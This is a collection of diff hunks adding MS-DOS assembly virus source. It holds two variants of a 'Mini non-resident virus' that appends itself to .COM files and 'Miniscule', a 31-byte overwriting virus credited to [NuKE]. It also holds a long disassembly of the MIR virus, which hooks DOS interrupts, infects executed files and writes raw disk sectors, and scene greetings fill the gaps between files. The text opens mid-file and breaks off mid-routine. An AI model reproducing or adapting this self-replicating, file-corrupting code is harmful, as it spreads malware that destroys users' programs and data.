xor dx,dx
|
||||
mov cx,virlength
|
||||
push cx
|
||||
call dos
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos
|
||||
|
||||
mov ah,40h
|
||||
mov ds,cs
|
||||
lea dx,ofs
|
||||
pop cx
|
||||
call dos
|
||||
mov ax,5701h
|
||||
pop dx
|
||||
pop cx
|
||||
call dos
|
||||
|
||||
jmp short exe
|
||||
|
||||
dos: pushf
|
||||
call dword ptr cs:[old21]
|
||||
ret
|
||||
|
||||
virlength equ $-ofs
|
||||
|
||||
orgp: int 20h
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,100 @@
|
||||
;****************************************************************************
|
||||
;* Mini non-resident virus
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||
|
||||
.RADIX 16
|
||||
|
||||
FILELEN equ end - start
|
||||
FILNAM equ 55h
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Dummy program (infected)
|
||||
;****************************************************************************
|
||||
|
||||
org 100h
|
||||
|
||||
begin: db 0E9, 3, 0
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Begin of the virus
|
||||
;****************************************************************************
|
||||
|
||||
|
||||
start: db 0CDh, 20h, 90
|
||||
|
||||
push si ;si=0100
|
||||
|
||||
mov di,si
|
||||
add si,[si+1] ;si=0103
|
||||
push si
|
||||
movsw
|
||||
movsb
|
||||
pop si ;si -> start (buffer)
|
||||
|
||||
lea dx,[si+FILNAM] ;dx -> filename
|
||||
mov ah,4Eh ;find first file
|
||||
int 21
|
||||
|
||||
mov dx,009Eh
|
||||
mov ax,3D02h ;open the file
|
||||
call int21
|
||||
jc exit1
|
||||
xchg bx,ax
|
||||
|
||||
mov ah,3fh ;read begin of file
|
||||
int 21
|
||||
|
||||
cmp byte ptr [si],0E9h ;infected COM?
|
||||
je exit2
|
||||
|
||||
mov al,2 ;go to end of file
|
||||
call seek
|
||||
xchg ax,di
|
||||
|
||||
mov cl, low FILELEN ;write program to end of file
|
||||
mov ah,40h
|
||||
int 21
|
||||
|
||||
mov al,0
|
||||
call seek
|
||||
mov byte ptr [si], 0E9h
|
||||
mov word ptr [si+1], di
|
||||
|
||||
mov ah,40h
|
||||
int 21
|
||||
|
||||
exit2: mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
exit1: ret
|
||||
|
||||
seek: mov ah,42
|
||||
cwd
|
||||
int21: xor cx,cx
|
||||
int 21
|
||||
mov cl,03
|
||||
mov dx,si
|
||||
|
||||
return: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Data
|
||||
;****************************************************************************
|
||||
|
||||
filename db '*.COM',0
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,104 @@
|
||||
;****************************************************************************
|
||||
;* Mini non-resident virus
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||
|
||||
.RADIX 16
|
||||
|
||||
FILELEN equ end - start
|
||||
FILNAM equ 5C
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Dummy program (infected)
|
||||
;****************************************************************************
|
||||
|
||||
org 100h
|
||||
|
||||
begin: db 4Dh
|
||||
db 0E9, 4, 0
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Begin of the virus
|
||||
;****************************************************************************
|
||||
|
||||
|
||||
start: db 0CDh, 20h, 0, 0
|
||||
|
||||
push si ;si=0100
|
||||
|
||||
mov di,si
|
||||
add si,[si+2] ;si=0104
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
pop si ;si -> start (buffer)
|
||||
|
||||
lea dx,[si+FILNAM] ;dx -> filename
|
||||
mov ah,4Eh ;find first file
|
||||
infloop: int 21
|
||||
jc return
|
||||
|
||||
mov dx,009Eh
|
||||
mov ax,3D02h ;open the file
|
||||
call int21
|
||||
jc exit1
|
||||
xchg bx,ax
|
||||
|
||||
mov ah,3fh ;read begin of file
|
||||
int 21
|
||||
|
||||
cmp byte ptr [si],4Dh ;EXE or infected COM?
|
||||
je exit2
|
||||
|
||||
mov al,2 ;go to end of file
|
||||
call seek
|
||||
xchg ax,di
|
||||
|
||||
mov cl,low FILELEN ;write program to end of file
|
||||
mov ah,40h
|
||||
int 21
|
||||
|
||||
mov al,0
|
||||
call seek
|
||||
mov word ptr [si],0E94Dh
|
||||
mov word ptr [si+2],di
|
||||
|
||||
|
||||
mov ah,40h
|
||||
int 21
|
||||
|
||||
exit2: mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
exit1: mov ah,4Fh ;find next file
|
||||
jmp short infloop
|
||||
|
||||
seek: mov ah,42
|
||||
cwd
|
||||
int21: xor cx,cx
|
||||
int 21
|
||||
mov cl,04
|
||||
mov dx,si
|
||||
|
||||
return: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Data
|
||||
;****************************************************************************
|
||||
|
||||
filename db '*.COM',0
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,104 @@
|
||||
;****************************************************************************
|
||||
;* Mini non-resident virus
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||
|
||||
.RADIX 16
|
||||
|
||||
FILELEN equ end - start
|
||||
FILNAM equ 5Dh
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Dummy program (infected)
|
||||
;****************************************************************************
|
||||
|
||||
org 100h
|
||||
|
||||
begin: db 4Dh
|
||||
db 0E9, 4, 0
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Begin of the virus
|
||||
;****************************************************************************
|
||||
|
||||
|
||||
start: db 0CDh, 20h, 0, 0
|
||||
|
||||
push si ;si=0100
|
||||
|
||||
mov di,si
|
||||
add si,[si+2] ;si=0104
|
||||
push si
|
||||
movsw
|
||||
movsw
|
||||
pop si ;si -> start (buffer)
|
||||
|
||||
lea dx,[si+FILNAM] ;dx -> filename
|
||||
mov ah,4Eh ;find first file
|
||||
infloop: int 21
|
||||
jc return
|
||||
|
||||
mov dx,009Eh
|
||||
mov ax,3D02h ;open the file
|
||||
call int21
|
||||
jc exit1
|
||||
xchg bx,ax
|
||||
|
||||
mov ah,3fh ;read begin of file
|
||||
int 21
|
||||
|
||||
cmp byte ptr [si],4Dh ;EXE or infected COM?
|
||||
je exit2
|
||||
|
||||
mov al,2 ;go to end of file
|
||||
call seek
|
||||
xchg ax,di
|
||||
|
||||
mov cx,FILELEN ;write program to end of file
|
||||
mov ah,40h
|
||||
int 21
|
||||
|
||||
mov al,0
|
||||
call seek
|
||||
mov word ptr [si],0E94Dh
|
||||
mov word ptr [si+2],di
|
||||
|
||||
|
||||
mov ah,40h
|
||||
int 21
|
||||
|
||||
exit2: mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
exit1: mov ah,4Fh ;find next file
|
||||
jmp short infloop
|
||||
|
||||
seek: mov ah,42
|
||||
cwd
|
||||
int21: xor cx,cx
|
||||
int 21
|
||||
mov cl,04
|
||||
mov dx,si
|
||||
|
||||
return: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Data
|
||||
;****************************************************************************
|
||||
|
||||
filename db '*.COM',0
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
@@ -0,0 +1,77 @@
|
||||
; Miniscule: the world's smallest generic virus (only 31 bytes long!)
|
||||
; (C) 1992 Nowhere Man and [NuKE] WaReZ
|
||||
; Written on January 22, 1991
|
||||
|
||||
code segment 'CODE'
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
|
||||
|
||||
; Find the name of the first file and return it in the DTA. No checking
|
||||
; is done for previous infections, and ANY file (except directory "files")
|
||||
; will be infected, including data, texts, etc. So either a file is corrupted
|
||||
; (in the case of data or text) or infected (.EXE and .COM files). Files that
|
||||
; have the read-only flag set are immune to Miniscule.
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cl,020h ; CX holds attribute mask
|
||||
mov dx,offset star_dot_com ; DX points to the file mask
|
||||
int 021h
|
||||
|
||||
|
||||
; Open the file that we've found for writing only and put the handle into
|
||||
; BX (DOS stupidly returns the file handle in AX, but all other DOS functions
|
||||
; require it to be in AX, so we have to move it).
|
||||
|
||||
mov ax,03D01h ; DOS open file function, w/o
|
||||
mov dx,009Eh ; DX points to the found file
|
||||
int 021h
|
||||
|
||||
xchg bx,ax ; BX holds the file handle
|
||||
|
||||
|
||||
; Write the virus to the file. The first 31 bytes at offset 0100h (ie: the
|
||||
; virus) are written into the beginning of the victim. No attempt is made
|
||||
; to preserve the victim's executability. This also destroys the file's date
|
||||
; and time, making Miniscule's activity painfully obvious. Also, if the
|
||||
; victim is smaller than 31 bytes (rare), then it will grow to exactly 31.
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
dec cx ; CX now holds 01Fh (length)
|
||||
mov dx,offset main ; DX points to start of code
|
||||
int 021h
|
||||
|
||||
|
||||
; Exit. I chose to use a RET statement here to save one byte (RET is one byte
|
||||
; long, INT 020h is two), so don't try to compile this as an .EXE file; it
|
||||
; will crash, as only .COMs RETurn correctly (DOS again). However INFECTED
|
||||
; .EXE programs will run successfully (unless they are larger than 64k, in
|
||||
; which case DOS will refuse to run it.
|
||||
|
||||
ret ; RETurn to DOS
|
||||
main endp
|
||||
|
||||
|
||||
; The only data required in this program, and it's only four bytes long. This
|
||||
; is the file mask that the DOS find first file function will use when
|
||||
; searching. Do not change this to .EXE (or whatever) because this virus
|
||||
; is size dependent (if you know what you're doing, go ahead [at you're own
|
||||
; risk]).
|
||||
|
||||
star_dot_com db "*.*",0 ; File search mask
|
||||
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
|
||||
; There you have it: thirty-one bytes of pure terror -- NOT! As you can
|
||||
; pretty well guess, this virus is very lame. Due to its poor reproduction,
|
||||
; it is hardly a threat (hitting one file, if you're lucky), but it works,
|
||||
; and it fits the definition of a virus. There is no way to make this code
|
||||
; any smaller (at least under MS-DOS), except if you made it only infect
|
||||
; one specific file (and the file would have to have a one- or two-byte name,
|
||||
; too), and that would be next to useless.
|
||||
@@ -0,0 +1,830 @@
|
||||
; File: MIR.COM
|
||||
; File Type: COM
|
||||
; Processor: 8086/87/88
|
||||
; Range: 00100h to 007d3h
|
||||
; Memory Needed: 2 Kb
|
||||
; Initial Stack: 0000:fffe
|
||||
; Entry Point: 0000:0100
|
||||
; Subroutines: 11
|
||||
|
||||
.radix 16
|
||||
cseg segment para public 'CODE'
|
||||
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||
org 0100h
|
||||
; >>>> starts execution here <<<<
|
||||
o00100 proc far
|
||||
;-----------------------------------------------------
|
||||
o00100 db 'M.' ;0000:0100
|
||||
d00102 db 'I.R.' ;0000:0102
|
||||
d00106 db ' *-*-*-* Sign of the ' ;0000:0106
|
||||
db 'time!' ;0000:011b
|
||||
db 00 ;0000:0120 .
|
||||
;-----------------------------------------------------
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
pop dx
|
||||
m00126: mov bx,es
|
||||
add bx,10h
|
||||
add bx,WORD PTR cs:[si+06c8h]
|
||||
mov WORD PTR cs:[si+0053h],bx
|
||||
mov bx,WORD PTR cs:[si+06c6h]
|
||||
mov WORD PTR cs:[si+0051h],bx
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,WORD PTR cs:[si+06cch]
|
||||
mov ss,bx
|
||||
mov sp,WORD PTR cs:[si+06cah]
|
||||
jmp 0000:0000
|
||||
m00155: mov di,0100h
|
||||
add si,06ceh
|
||||
movsb ;Mov DS:[SI]->ES:[DI]
|
||||
movsw ;Mov DS:[SI]->ES:[DI]
|
||||
mov sp,WORD PTR [d00006]
|
||||
xor bx,bx ;Load register w/ 0
|
||||
push bx
|
||||
jmp WORD PTR [si-0bh]
|
||||
call s1 ;<0016b>
|
||||
o00100 endp
|
||||
|
||||
;<0016b>
|
||||
s1 proc near
|
||||
pop si
|
||||
sub si,006bh
|
||||
cld ;Forward String Opers
|
||||
nop
|
||||
cmp WORD PTR cs:[si+06ceh],5a4dh
|
||||
jz b0018b ;Jump if equal (ZF=1)
|
||||
cli ;Turn OFF Interrupts
|
||||
nop
|
||||
mov sp,si
|
||||
add sp,07d1h
|
||||
sti ;Turn ON Interrupts
|
||||
nop
|
||||
cmp sp,WORD PTR [d00006]
|
||||
jnb m00155 ;Jump if >= (no sign)
|
||||
b0018b: push ax
|
||||
push es
|
||||
nop
|
||||
push si
|
||||
push ds
|
||||
mov di,si
|
||||
xor ax,ax ;Load register w/ 0
|
||||
nop
|
||||
push ax
|
||||
mov ds,ax
|
||||
les ax,DWORD PTR [d0004c]
|
||||
nop
|
||||
mov WORD PTR cs:[si+06bdh],ax
|
||||
mov WORD PTR cs:[si+06bfh],es
|
||||
mov WORD PTR cs:[si+06b8h],ax
|
||||
nop
|
||||
mov WORD PTR cs:[si+06bah],es
|
||||
mov ax,WORD PTR [d00102]
|
||||
cmp ax,0f000h
|
||||
nop
|
||||
jnz b00235 ;Jump not equal(ZF=0)
|
||||
mov WORD PTR cs:[si+06bah],ax
|
||||
mov ax,WORD PTR [o00100]
|
||||
mov WORD PTR cs:[si+06b8h],ax
|
||||
nop
|
||||
mov dl,80h
|
||||
mov ax,WORD PTR [d00106]
|
||||
cmp ax,0f000h
|
||||
jz b001f2 ;Jump if equal (ZF=1)
|
||||
nop
|
||||
cmp ah,0c8h
|
||||
jb b00235 ;Jump if < (no sign)
|
||||
cmp ah,0f4h
|
||||
jnb b00235 ;Jump if >= (no sign)
|
||||
nop
|
||||
test al,7fh ;Flags=Arg1 AND Arg2
|
||||
jnz b00235 ;Jump not equal(ZF=0)
|
||||
mov ds,ax
|
||||
cmp WORD PTR [d00000],0aa55h
|
||||
nop
|
||||
jnz b00235 ;Jump not equal(ZF=0)
|
||||
mov dl,BYTE PTR [d00002]
|
||||
b001f2: mov ds,ax
|
||||
xor dh,dh ;Load register w/ 0
|
||||
mov cl,09
|
||||
shl dx,cl ;Multiply by 2's
|
||||
mov cx,dx
|
||||
xor si,si ;Load register w/ 0
|
||||
b001fe: lodsw ;Load AX with DS:[SI]
|
||||
cmp ax,0fa80h
|
||||
jnz b0020c ;Jump not equal(ZF=0)
|
||||
lodsw ;Load AX with DS:[SI]
|
||||
cmp ax,7380h
|
||||
jz b00217 ;Jump if equal (ZF=1)
|
||||
jnz b00221 ;Jump not equal(ZF=0)
|
||||
b0020c: cmp ax,0c2f6h
|
||||
jnz b00223 ;Jump not equal(ZF=0)
|
||||
lodsw ;Load AX with DS:[SI]
|
||||
cmp ax,7580h
|
||||
jnz b00221 ;Jump not equal(ZF=0)
|
||||
b00217: inc si
|
||||
lodsw ;Load AX with DS:[SI]
|
||||
cmp ax,40cdh
|
||||
jz b00228 ;Jump if equal (ZF=1)
|
||||
sub si,03
|
||||
b00221: dec si
|
||||
dec si
|
||||
b00223: dec si
|
||||
loop b001fe ;Dec CX;Loop if CX>0
|
||||
jmp short b00235
|
||||
b00228: sub si,07
|
||||
mov WORD PTR cs:[di+06bdh],si
|
||||
mov WORD PTR cs:[di+06bfh],ds
|
||||
b00235: mov si,di
|
||||
pop ds
|
||||
push cs
|
||||
pop ds
|
||||
cmp ax,02fah
|
||||
jnz b0025c ;Jump not equal(ZF=0)
|
||||
xor di,di ;Load register w/ 0
|
||||
mov cx,06b8h
|
||||
b00252: lodsb ;Load AL with DS:[SI]
|
||||
scasb ;Flags = AL - ES:[DI]
|
||||
jnz b0025c ;Jump not equal(ZF=0)
|
||||
loop b00252 ;Dec CX;Loop if CX>0
|
||||
pop es
|
||||
jmp m002e9
|
||||
b0025c: pop es
|
||||
mov ah,49h
|
||||
int 21h ;undefined
|
||||
mov bx,0ffffh
|
||||
mov ah,48h
|
||||
int 21h ;undefined
|
||||
sub bx,00e0h
|
||||
jb m002e9 ;Jump if < (no sign)
|
||||
mov cx,es
|
||||
stc
|
||||
adc cx,bx
|
||||
mov ah,4ah
|
||||
int 21h ;undefined
|
||||
mov bx,00dfh
|
||||
stc
|
||||
sbb WORD PTR es:[d00002],bx
|
||||
push es
|
||||
mov es,cx
|
||||
mov ah,4ah
|
||||
int 21h ;undefined
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov WORD PTR [d00001],0008h
|
||||
call s11 ;<007a7>
|
||||
mov bx,ax
|
||||
mov cx,dx
|
||||
pop ds
|
||||
mov ax,ds
|
||||
call s11 ;<007a7>
|
||||
add ax,WORD PTR [d00006]
|
||||
adc dx,00
|
||||
sub ax,bx
|
||||
sbb dx,cx
|
||||
jb b002b0 ;Jump if < (no sign)
|
||||
sub WORD PTR [d00006],ax
|
||||
b002b0: pop si
|
||||
push si
|
||||
push ds
|
||||
push cs
|
||||
xor di,di ;Load register w/ 0
|
||||
mov ds,di
|
||||
lds ax,DWORD PTR [d0009c]
|
||||
mov WORD PTR cs:[si+0714h],ax
|
||||
mov WORD PTR cs:[si+0716h],ds
|
||||
pop ds
|
||||
mov cx,071ch
|
||||
repz movsb ;Mov DS:[SI]->ES:[DI]
|
||||
xor ax,ax ;Load register w/ 0
|
||||
mov ds,ax
|
||||
pop es
|
||||
m002e9: pop si
|
||||
xor ax,ax ;Load register w/ 0
|
||||
mov ds,ax
|
||||
mov ax,WORD PTR [d0004c]
|
||||
mov WORD PTR cs:[si+06c2h],ax
|
||||
mov ax,WORD PTR [d0004e]
|
||||
mov WORD PTR cs:[si+06c4h],ax
|
||||
mov WORD PTR [d0004c],06adh
|
||||
add WORD PTR [d0004c],si
|
||||
mov WORD PTR [d0004e],cs
|
||||
pop ds
|
||||
push ds
|
||||
push si
|
||||
mov bx,si
|
||||
lds ax,DWORD PTR [d0002a]
|
||||
xor si,si ;Load register w/ 0
|
||||
mov dx,si
|
||||
b00319: lodsw ;Load AX with DS:[SI]
|
||||
dec si
|
||||
test ax,ax ;Flags=Arg1 AND Arg2
|
||||
jnz b00319 ;Jump not equal(ZF=0)
|
||||
add si,03
|
||||
lodsb ;Load AL with DS:[SI]
|
||||
sub al,41h
|
||||
mov cx,0001h
|
||||
push cs
|
||||
pop ds
|
||||
add bx,02b5h
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 25h ;undefined
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
inc BYTE PTR [bx+0ah]
|
||||
and BYTE PTR [bx+0ah],0fh
|
||||
jnz b00372 ;Jump not equal(ZF=0)
|
||||
mov al,BYTE PTR [bx+10h]
|
||||
xor ah,ah ;Load register w/ 0
|
||||
mul WORD PTR [bx+16h]
|
||||
add ax,WORD PTR [bx+0eh]
|
||||
push ax
|
||||
mov ax,WORD PTR [bx+11h]
|
||||
mov dx,0020h
|
||||
mul dx
|
||||
div WORD PTR [bx+0bh]
|
||||
pop dx
|
||||
add dx,ax
|
||||
mov ax,WORD PTR [bx+08]
|
||||
add ax,0040h
|
||||
cmp ax,WORD PTR [bx+13h]
|
||||
jb b0036f ;Jump if < (no sign)
|
||||
inc ax
|
||||
and ax,003fh
|
||||
add ax,dx
|
||||
cmp ax,WORD PTR [bx+13h]
|
||||
jnb b0038b ;Jump if >= (no sign)
|
||||
b0036f: mov WORD PTR [bx+08],ax
|
||||
b00372: pop ax
|
||||
xor dx,dx ;Load register w/ 0
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 26h ;undefined
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp BYTE PTR [bx+0ah],00
|
||||
jnz b0038c ;Jump not equal(ZF=0)
|
||||
mov dx,WORD PTR [bx+08]
|
||||
pop bx
|
||||
push bx
|
||||
int 26h ;undefined
|
||||
b0038b: pop ax
|
||||
b0038c: pop si
|
||||
xor ax,ax ;Load register w/ 0
|
||||
mov ds,ax
|
||||
mov ax,WORD PTR cs:[si+06c2h]
|
||||
mov WORD PTR [d0004c],ax
|
||||
mov ax,WORD PTR cs:[si+06c4h]
|
||||
mov WORD PTR [d0004e],ax
|
||||
pop ds
|
||||
pop ax
|
||||
cmp WORD PTR cs:[si+06ceh],5a4dh
|
||||
jnz b003af ;Jump not equal(ZF=0)
|
||||
jmp m00126
|
||||
b003af: jmp m00155
|
||||
mov al,03
|
||||
iret ;POP flags and Return
|
||||
pushf ;Push flags on Stack
|
||||
call s7 ;<00728>
|
||||
popf ;Pop flags off Stack
|
||||
jmp DWORD PTR cs:[d00714]
|
||||
b003bf: mov WORD PTR cs:[d00714],dx
|
||||
mov WORD PTR cs:[b00716],ds
|
||||
popf ;Pop flags off Stack
|
||||
iret ;POP flags and Return
|
||||
b003cb: mov WORD PTR cs:[d00718],dx
|
||||
mov WORD PTR cs:[d0071a],ds
|
||||
popf ;Pop flags off Stack
|
||||
iret ;POP flags and Return
|
||||
b003d7: les bx,DWORD PTR cs:[d00714]
|
||||
popf ;Pop flags off Stack
|
||||
iret ;POP flags and Return
|
||||
b003de: les bx,DWORD PTR cs:[d00718]
|
||||
popf ;Pop flags off Stack
|
||||
iret ;POP flags and Return
|
||||
b003e5: call s5 ;<0050b>
|
||||
call s7 ;<00728>
|
||||
popf ;Pop flags off Stack
|
||||
jmp DWORD PTR cs:[d00718]
|
||||
;-----------------------------------------------------
|
||||
db '&^%s%c' ;0000:03f1
|
||||
;-----------------------------------------------------
|
||||
and ax,0064h
|
||||
push bp ;Get Args from Stack
|
||||
mov bp,sp
|
||||
push WORD PTR [bp+06]
|
||||
popf ;Pop flags off Stack
|
||||
pop bp ;End High Level Subr
|
||||
pushf ;Push flags on Stack
|
||||
call s8 ;<00732>
|
||||
cmp ax,2521h
|
||||
jz b003cb ;Jump if equal (ZF=1)
|
||||
cmp ax,2527h
|
||||
jz b003bf ;Jump if equal (ZF=1)
|
||||
cmp ax,3527h
|
||||
jz b003d7 ;Jump if equal (ZF=1)
|
||||
cld ;Forward String Opers
|
||||
cmp ax,4b00h
|
||||
jz b003e5 ;Jump if equal (ZF=1)
|
||||
cmp ah,3ch
|
||||
jz b0042f ;Jump if equal (ZF=1)
|
||||
cmp ah,3eh
|
||||
jz b0046b ;Jump if equal (ZF=1)
|
||||
cmp ah,5bh
|
||||
jnz b00495 ;Jump not equal(ZF=0)
|
||||
b0042f: cmp WORD PTR cs:[d006d1],00
|
||||
jnz b004ac ;Jump not equal(ZF=0)
|
||||
call s2 ;<004c2>
|
||||
jnz b004ac ;Jump not equal(ZF=0)
|
||||
call s7 ;<00728>
|
||||
popf ;Pop flags off Stack
|
||||
call s4 ;<00504>
|
||||
jb b004b3 ;Jump if < (no sign)
|
||||
pushf ;Push flags on Stack
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
push si
|
||||
push di
|
||||
push cx
|
||||
push ax
|
||||
mov di,06d1h
|
||||
stosw ;Store AX at ES:[DI]
|
||||
mov si,dx
|
||||
mov cx,0041h
|
||||
b00456: lodsb ;Load AL with DS:[SI]
|
||||
stosb ;Store AL at ES:[DI]
|
||||
test al,al ;Flags=Arg1 AND Arg2
|
||||
jz b00463 ;Jump if equal (ZF=1)
|
||||
loop b00456 ;Dec CX;Loop if CX>0
|
||||
mov WORD PTR es:[d006d1],cx
|
||||
b00463: pop ax
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
b00468: popf ;Pop flags off Stack
|
||||
jnb b004b3 ;Jump if >= (no sign)
|
||||
b0046b: cmp bx,WORD PTR cs:[d006d1]
|
||||
jnz b004ac ;Jump not equal(ZF=0)
|
||||
test bx,bx ;Flags=Arg1 AND Arg2
|
||||
jz b004ac ;Jump if equal (ZF=1)
|
||||
call s7 ;<00728>
|
||||
popf ;Pop flags off Stack
|
||||
call s4 ;<00504>
|
||||
jb b004b3 ;Jump if < (no sign)
|
||||
pushf ;Push flags on Stack
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push dx
|
||||
mov dx,06d3h
|
||||
call s5 ;<0050b>
|
||||
mov WORD PTR cs:[d006d1],0000h
|
||||
pop dx
|
||||
pop ds
|
||||
jmp short b00468
|
||||
b00495: cmp ah,3dh
|
||||
jz b004a4 ;Jump if equal (ZF=1)
|
||||
cmp ah,43h
|
||||
jz b004a4 ;Jump if equal (ZF=1)
|
||||
cmp ah,56h
|
||||
jnz b004ac ;Jump not equal(ZF=0)
|
||||
b004a4: call s2 ;<004c2>
|
||||
jnz b004ac ;Jump not equal(ZF=0)
|
||||
call s5 ;<0050b>
|
||||
b004ac: call s7 ;<00728>
|
||||
popf ;Pop flags off Stack
|
||||
call s4 ;<00504>
|
||||
b004b3: pushf ;Push flags on Stack
|
||||
push ds
|
||||
call s9 ;<0078b>
|
||||
mov BYTE PTR [d00000],5ah
|
||||
pop ds
|
||||
popf ;Pop flags off Stack
|
||||
ret 0002h ;(far)
|
||||
s1 endp
|
||||
|
||||
;<004c2>
|
||||
s2 proc near
|
||||
push ax
|
||||
push si
|
||||
mov si,dx
|
||||
b004c6: lodsb ;Load AL with DS:[SI]
|
||||
test al,al ;Flags=Arg1 AND Arg2
|
||||
jz b004f3 ;Jump if equal (ZF=1)
|
||||
cmp al,64h ;(d)
|
||||
jz b004f3 ;Jump if equal (ZF=1)
|
||||
add al,01
|
||||
cmp al,2eh ;(.)
|
||||
jnz b004c6 ;Jump not equal(ZF=0)
|
||||
call s3 ;<004f8>
|
||||
mov ah,al
|
||||
call s3 ;<004f8>
|
||||
